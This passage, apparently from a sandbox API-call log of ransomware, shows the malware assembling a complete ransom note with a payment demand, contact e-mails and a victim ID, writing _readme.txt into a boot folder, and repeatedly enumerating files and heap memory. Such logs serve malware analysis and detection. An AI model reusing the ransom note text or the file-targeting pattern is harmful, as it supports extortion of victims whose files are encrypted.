us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.190] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.191] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.191] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.191] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.191] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.191] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.191] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.191] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.191] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.192] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.192] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.193] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.193] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.194] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.194] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.195] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.195] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.196] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.196] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: 